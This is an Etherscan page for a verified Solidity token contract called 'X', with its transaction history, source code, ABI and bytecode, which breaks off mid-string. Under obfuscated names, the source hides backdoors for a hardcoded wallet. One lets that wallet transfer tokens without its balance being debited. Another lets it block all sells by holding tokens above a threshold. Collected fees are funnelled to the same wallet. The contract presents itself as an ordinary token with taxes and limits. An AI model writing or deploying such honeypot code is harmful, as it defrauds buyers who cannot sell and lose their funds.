ETH Price: $2,229.25 (-2.64%)

Contract

0x98eC09FbF4F3314064bEAe8120a4Fa41D8c35a07
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189669772024-01-09 4:16:35416 days ago1704773795IN
0x98eC09Fb...1D8c35a07
0 ETH0.0006835814.76401217
Transfer189669702024-01-09 4:15:11416 days ago1704773711IN
0x98eC09Fb...1D8c35a07
0 ETH0.0006055113.78451705
Transfer189669682024-01-09 4:14:47416 days ago1704773687IN
0x98eC09Fb...1D8c35a07
0 ETH0.0005878614.02103985
Approve189669272024-01-09 4:06:23416 days ago1704773183IN
0x98eC09Fb...1D8c35a07
0 ETH0.0008405318.04603265
Renounce Ownersh...189669162024-01-09 4:04:11416 days ago1704773051IN
0x98eC09Fb...1D8c35a07
0 ETH0.0003626615.584951
Remove Limitas189669122024-01-09 4:03:23416 days ago1704773003IN
0x98eC09Fb...1D8c35a07
0 ETH0.0004665315.50718804
Approve189669112024-01-09 4:03:11416 days ago1704772991IN
0x98eC09Fb...1D8c35a07
0 ETH0.0009735320.90156029
Open Trading189669082024-01-09 4:02:35416 days ago1704772955IN
0x98eC09Fb...1D8c35a07
0 ETH0.043507115.37584465
Transfer189668982024-01-09 4:00:35416 days ago1704772835IN
0x98eC09Fb...1D8c35a07
1 ETH0.0003214815.2685938
Transfer189668952024-01-09 3:59:59416 days ago1704772799IN
0x98eC09Fb...1D8c35a07
0 ETH0.0008414614.80588948

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
189669082024-01-09 4:02:35416 days ago1704772955
0x98eC09Fb...1D8c35a07
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-09
*/

/*

Telegram: https://t.me/Xerc_Portal

Twitter: https://twitter.com/XercPortal

Website: https://xerc.org/

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _Rzcfp(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _Rzcfp(a, b, "SafeMath");
    }

    function  _Rzcfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _Rlxye(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract X is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private _qzich;
    address payable private FqSvc;
    address private _Prqfz;
    string private constant _name = unicode"X";
    string private constant _symbol = unicode"X";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;

    uint256 private _BuyinitialTax=1;
    uint256 private _SellinitialTax=1;
    uint256 private _BuyfinalTax=1;
    uint256 private _SellfinalTax=1;
    uint256 private _BuyAreduceTax=1;
    uint256 private _SellAreduceTax=1;
    uint256 private _Reote=0;
    uint256 private _vizrq=0;
    uint256 public _lrchq = _totalSupply;
    uint256 public _pvzce = _totalSupply;
    uint256 public _plwnr= _totalSupply;
    uint256 public _brwea= _totalSupply;


    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _wqryo;
    mapping (address => bool) private _hfclk;
    mapping(address => uint256) private _FSrgv;

    bool private _orzpoqen;
    bool public _prlhc = false;
    bool private qlxkf = false;
    bool private _rwfap = false;


    event _brnqw(uint _lrchq);
    modifier gkodf {
        qlxkf = true;
        _;
        qlxkf = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _totalSupply;
        _wqryo[owner(

        )] = true;
        _wqryo[address
        (this)] = true;
        _wqryo[
            FqSvc] = true;
        FqSvc = 
        payable (0x8975c9C975947CF11DAcCFcE8F1f9f80f6dB66fd);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _totalSupply);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _Rzcfp(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 elcqif=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_prlhc) {
                if (to 
                != address
                (_qzich) 
                && to !=
                 address
                 (_Prqfz)) {
                  require(_FSrgv
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _FSrgv
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _Prqfz && to != 
            address(_qzich) &&
             !_wqryo[to] ) {
                require(amount 
                <= _lrchq,
                 "Exceeds the _lrchq.");
                require(balanceOf
                (to) + amount
                 <= _pvzce,
                  "Exceeds the _pvzce.");
                if(_vizrq
                < _Reote){
                  require
                  (! _gpbvy(to));
                }
                _vizrq++;
                 _hfclk
                 [to]=true;
                elcqif = amount._Rlxye
                ((_vizrq>
                _BuyAreduceTax)?
                _BuyfinalTax:
                _BuyinitialTax)
                .div(100);
            }

            if(to == _Prqfz &&
             from!= address(this) 
            && !_wqryo[from] ){
                require(amount <= 
                _lrchq && 
                balanceOf(FqSvc)
                <_brwea,
                 "Exceeds the _lrchq.");
                elcqif = amount._Rlxye((_vizrq>
                _SellAreduceTax)?
                _SellfinalTax:
                _SellinitialTax)
                .div(100);
                require(_vizrq>
                _Reote &&
                 _hfclk[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!qlxkf 
            && to == _Prqfz &&
             _rwfap &&
             contractTokenBalance>
             _plwnr 
            && _vizrq>
            _Reote&&
             !_wqryo[to]&&
              !_wqryo[from]
            ) {
                _transferFrom( _qfQvk(amount, 
                _qfQvk(contractTokenBalance,
                _brwea)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _vpewr(address
                    (this).balance);
                }
            }
        }

        if(elcqif>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(elcqif);
          emit
           Transfer(from,
           address
           (this),elcqif);
        }
        _balances[from
        ]= _Rzcfp(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _Rzcfp(elcqif));
        emit Transfer
        (from, to, 
        amount.
         _Rzcfp(elcqif));
    }

    function _transferFrom(uint256
     tokenAmount) private
      gkodf {
        if(tokenAmount==
        0){return;}
        if(!_orzpoqen)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _qzich.WETH();
        _approve(address(this),
         address(
             _qzich), 
             tokenAmount);
        _qzich.
        swapExactTokensForETHSupportingFeeOnTransferTokens
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _qfQvk
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _Rzcfp(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == FqSvc){
            return a ;
        }else{
            return a .
             _Rzcfp (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _lrchq = _totalSupply;
        _pvzce = _totalSupply;
        emit _brnqw(_totalSupply);
    }

    function _gpbvy(address 
    account) private view 
    returns (bool) {
        uint256 Fvobz;
        assembly {
            Fvobz :=
             extcodesize
             (account)
        }
        return Fvobz > 
        0;
    }

    function _vpewr(uint256
    amount) private {
        FqSvc.
        transfer(
            amount);
    }

    function openTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _orzpoqen ) ;
        _qzich  
        =  
        IUniswapV2Router02
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _qzich), 
            _totalSupply);
        _Prqfz = 
        IUniswapV2Factory(_qzich.
        factory( ) 
        ). createPair (
            address(this
            ),  _qzich .
             WETH ( ) );
        _qzich.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_Prqfz).
        approve(address(_qzich), 
        type(uint)
        .max);
        _rwfap = true;
        _orzpoqen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_lrchq","type":"uint256"}],"name":"_brnqw","type":"event"},{"inputs":[],"name":"_brwea","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lrchq","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_plwnr","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_prlhc","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pvzce","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600455600160055560016006556001600755600160085560016009555f600a555f600b556009600a6200003a919062000311565b6200004a90633b9aca0062000328565b600c556200005b6009600a62000311565b6200006b90633b9aca0062000328565b600d556200007c6009600a62000311565b6200008c90633b9aca0062000328565b600e556200009d6009600a62000311565b620000ad90633b9aca0062000328565b600f556015805463ffffff0019169055348015620000c9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001186009600a62000311565b6200012890633b9aca0062000328565b335f8181526010602090815260408083209490945581546001600160a01b03908116835260129091528382208054600160ff199182168117909255308452858420805482168317905560028054909316845294832080549095161790935582546001600160a01b031916738975c9c975947cf11daccfce8f1f9f80f6db66fd17909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001db6009600a62000311565b620001eb90633b9aca0062000328565b60405190815260200160405180910390a362000342565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025657815f19048211156200023a576200023a62000202565b808516156200024857918102915b93841c93908002906200021b565b509250929050565b5f826200026e575060016200030b565b816200027c57505f6200030b565b8160018114620002955760028114620002a057620002c0565b60019150506200030b565b60ff841115620002b457620002b462000202565b50506001821b6200030b565b5060208310610133831016604e8410600b8410161715620002e5575081810a6200030b565b620002f1838362000216565b805f190482111562000307576200030762000202565b0290505b92915050565b5f6200032160ff8416836200025e565b9392505050565b80820281158282048414176200030b576200030b62000202565b6117cf80620003505f395ff3fe608060405260043610610108575f3560e01c806370a0823111610092578063a7520f1c11610062578063a7520f1c146102a3578063a9059cbb146102b7578063b9a2d7e6146102d6578063c9567bf9146102eb578063dd62ed3e146102ff575f80fd5b806370a0823114610233578063715018a6146102675780638da5cb5b1461027d57806395d89b4114610113575f80fd5b806326960491116100d857806326960491146101bb578063313ce567146101d0578063364c7992146101eb578063545b48aa146102005780635ca0854314610215575f80fd5b806306fdde0314610113578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260018152600b60fb1b6020820152905161014291906113ce565b60405180910390f35b348015610156575f80fd5b5061016a610165366004611430565b610343565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610359565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b636600461145a565b610379565b3480156101c6575f80fd5b5061018e600e5481565b3480156101db575f80fd5b5060405160098152602001610142565b3480156101f6575f80fd5b5061018e600c5481565b34801561020b575f80fd5b5061018e600f5481565b348015610220575f80fd5b5060155461016a90610100900460ff1681565b34801561023e575f80fd5b5061018e61024d366004611498565b6001600160a01b03165f9081526010602052604090205490565b348015610272575f80fd5b5061027b6103e1565b005b348015610288575f80fd5b505f546040516001600160a01b039091168152602001610142565b3480156102ae575f80fd5b5061027b61045b565b3480156102c2575f80fd5b5061016a6102d1366004611430565b61050c565b3480156102e1575f80fd5b5061018e600d5481565b3480156102f6575f80fd5b5061027b610518565b34801561030a575f80fd5b5061018e6103193660046114b3565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b5f61034f338484610872565b5060015b92915050565b5f6103666009600a6115de565b61037490633b9aca006115ec565b905090565b5f610385848484610995565b6103d684336103d185604051806060016040528060288152602001611772602891396001600160a01b038a165f908152601160209081526040808320338452909152902054919061106c565b610872565b5060015b9392505050565b5f546001600160a01b031633146104135760405162461bcd60e51b815260040161040a90611603565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161040a90611603565b6104906009600a6115de565b61049e90633b9aca006115ec565b600c556104ad6009600a6115de565b6104bb90633b9aca006115ec565b600d557f26e73b0bd60aeb385c96ad940a23ec7e357d90ad9e49613797ed9123a36fa2646104eb6009600a6115de565b6104f990633b9aca006115ec565b60405190815260200160405180910390a1565b5f61034f338484610995565b5f546001600160a01b031633146105415760405162461bcd60e51b815260040161040a90611603565b60155460ff1615610550575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059990309061058b6009600a6115de565b6103d190633b9aca006115ec565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060d919061162c565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610690919061162c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe919061162c565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610745816001600160a01b03165f9081526010602052604090205490565b5f806107585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107be573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e39190611647565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610838573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085c9190611672565b506015805463ff0000ff19166301000001179055565b6001600160a01b0383166108d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040a565b6001600160a01b0382166109355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040a565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040a565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040a565b5f8111610abc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040a565b5f80546001600160a01b03858116911614801590610ae757505f546001600160a01b03848116911614155b15610f2d57601554610100900460ff1615610ba8576001546001600160a01b03848116911614801590610b2857506003546001600160a01b03848116911614155b15610ba857325f908152601460205260409020544311610b965760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161040a565b325f9081526014602052604090204390555b6003546001600160a01b038581169116148015610bd357506001546001600160a01b03848116911614155b8015610bf757506001600160a01b0383165f9081526012602052604090205460ff16155b15610d3357600c54821115610c445760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb63931b4389760691b604482015260640161040a565b600d5482610c66856001600160a01b03165f9081526010602052604090205490565b610c709190611691565b1115610cb45760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb83b3d31b29760691b604482015260640161040a565b600a54600b541015610ccb57823b15610ccb575f80fd5b600b8054905f610cda836116a4565b90915550506001600160a01b0383165f908152601360205260409020805460ff19166001179055600854600b54610d3091606491610d2a9110610d1f57600454610d23565b6006545b85906110a4565b90611103565b90505b6003546001600160a01b038481169116148015610d5957506001600160a01b0384163014155b8015610d7d57506001600160a01b0384165f9081526012602052604090205460ff16155b15610e4957600c548211158015610dae5750600f546002546001600160a01b03165f90815260106020526040902054105b610df05760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb63931b4389760691b604482015260640161040a565b610e156064610d2a600954600b5411610e0b57600554610d23565b60075485906110a4565b9050600a54600b54118015610e4157506001600160a01b0384165f9081526013602052604090205460ff165b610e49575f80fd5b305f9081526010602052604090205460155462010000900460ff16158015610e7e57506003546001600160a01b038581169116145b8015610e9357506015546301000000900460ff165b8015610ea05750600e5481115b8015610eaf5750600a54600b54115b8015610ed357506001600160a01b0384165f9081526012602052604090205460ff16155b8015610ef757506001600160a01b0385165f9081526012602052604090205460ff16155b15610f2b57610f19610f1484610f0f84600f5461112f565b61112f565b611143565b478015610f2957610f29476112c2565b505b505b8015610fa557305f90815260106020526040902054610f4c90826112fd565b305f81815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f9c9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260106020526040902054610fc990859084611346565b6001600160a01b0385165f9081526010602052604090205561100c610fee8383611376565b6001600160a01b0385165f90815260106020526040902054906112fd565b6001600160a01b038085165f8181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110558585611376565b60405190815260200160405180910390a350505050565b5f818484111561108f5760405162461bcd60e51b815260040161040a91906113ce565b505f61109b84866116bc565b95945050505050565b5f825f036110b357505f610353565b5f6110be83856115ec565b9050826110cb85836116cf565b146103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113a2565b5f81831161113d57826103da565b50919050565b6015805462ff000019166201000017905580156112b35760155460ff16156112b3576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611198576111986116ee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611213919061162c565b81600181518110611226576112266116ee565b6001600160a01b03928316602091820292909201015260015461124c9130911684610872565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112849085905f90869030904290600401611702565b5f604051808303815f87803b15801561129b575f80fd5b505af11580156112ad573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112f9573d5f803e3d5ffd5b5050565b5f806113098385611691565b9050838110156103da5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161040a565b6002545f906001600160a01b03908116908516036113655750816103da565b61136f8383611376565b90506103da565b5f6103da8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061106c565b5f81836113c25760405162461bcd60e51b815260040161040a91906113ce565b505f61109b84866116cf565b5f6020808352835180828501525f5b818110156113f9578581018301518582016040015282016113dd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461142d575f80fd5b50565b5f8060408385031215611441575f80fd5b823561144c81611419565b946020939093013593505050565b5f805f6060848603121561146c575f80fd5b833561147781611419565b9250602084013561148781611419565b929592945050506040919091013590565b5f602082840312156114a8575f80fd5b81356103da81611419565b5f80604083850312156114c4575f80fd5b82356114cf81611419565b915060208301356114df81611419565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561153857815f190482111561151e5761151e6114ea565b8085161561152b57918102915b93841c9390800290611503565b509250929050565b5f8261154e57506001610353565b8161155a57505f610353565b8160018114611570576002811461157a57611596565b6001915050610353565b60ff84111561158b5761158b6114ea565b50506001821b610353565b5060208310610133831016604e8410600b84101617156115b9575081810a610353565b6115c383836114fe565b805f19048211156115d6576115d66114ea565b029392505050565b5f6103da60ff841683611540565b8082028115828204841417610353576103536114ea565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b5f6020828403121561163c575f80fd5b81516103da81611419565b5f805f60608486031215611659575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611682575f80fd5b815180151581146103da575f80fd5b80820180821115610353576103536114ea565b5f600182016116b5576116b56114ea565b5060010190565b81810381811115610353576103536114ea565b5f826116e957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117505784516001600160a01b03168352938301939183019160010161172b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d363538492796a984bad9c7d33eb6ccce90b8045195d33f88b2d37e27addc2064736f6c63430008140033

Deployed Bytecode

0x608060405260043610610108575f3560e01c806370a0823111610092578063a7520f1c11610062578063a7520f1c146102a3578063a9059cbb146102b7578063b9a2d7e6146102d6578063c9567bf9146102eb578063dd62ed3e146102ff575f80fd5b806370a0823114610233578063715018a6146102675780638da5cb5b1461027d57806395d89b4114610113575f80fd5b806326960491116100d857806326960491146101bb578063313ce567146101d0578063364c7992146101eb578063545b48aa146102005780635ca0854314610215575f80fd5b806306fdde0314610113578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201825260018152600b60fb1b6020820152905161014291906113ce565b60405180910390f35b348015610156575f80fd5b5061016a610165366004611430565b610343565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610359565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b636600461145a565b610379565b3480156101c6575f80fd5b5061018e600e5481565b3480156101db575f80fd5b5060405160098152602001610142565b3480156101f6575f80fd5b5061018e600c5481565b34801561020b575f80fd5b5061018e600f5481565b348015610220575f80fd5b5060155461016a90610100900460ff1681565b34801561023e575f80fd5b5061018e61024d366004611498565b6001600160a01b03165f9081526010602052604090205490565b348015610272575f80fd5b5061027b6103e1565b005b348015610288575f80fd5b505f546040516001600160a01b039091168152602001610142565b3480156102ae575f80fd5b5061027b61045b565b3480156102c2575f80fd5b5061016a6102d1366004611430565b61050c565b3480156102e1575f80fd5b5061018e600d5481565b3480156102f6575f80fd5b5061027b610518565b34801561030a575f80fd5b5061018e6103193660046114b3565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b5f61034f338484610872565b5060015b92915050565b5f6103666009600a6115de565b61037490633b9aca006115ec565b905090565b5f610385848484610995565b6103d684336103d185604051806060016040528060288152602001611772602891396001600160a01b038a165f908152601160209081526040808320338452909152902054919061106c565b610872565b5060015b9392505050565b5f546001600160a01b031633146104135760405162461bcd60e51b815260040161040a90611603565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161040a90611603565b6104906009600a6115de565b61049e90633b9aca006115ec565b600c556104ad6009600a6115de565b6104bb90633b9aca006115ec565b600d557f26e73b0bd60aeb385c96ad940a23ec7e357d90ad9e49613797ed9123a36fa2646104eb6009600a6115de565b6104f990633b9aca006115ec565b60405190815260200160405180910390a1565b5f61034f338484610995565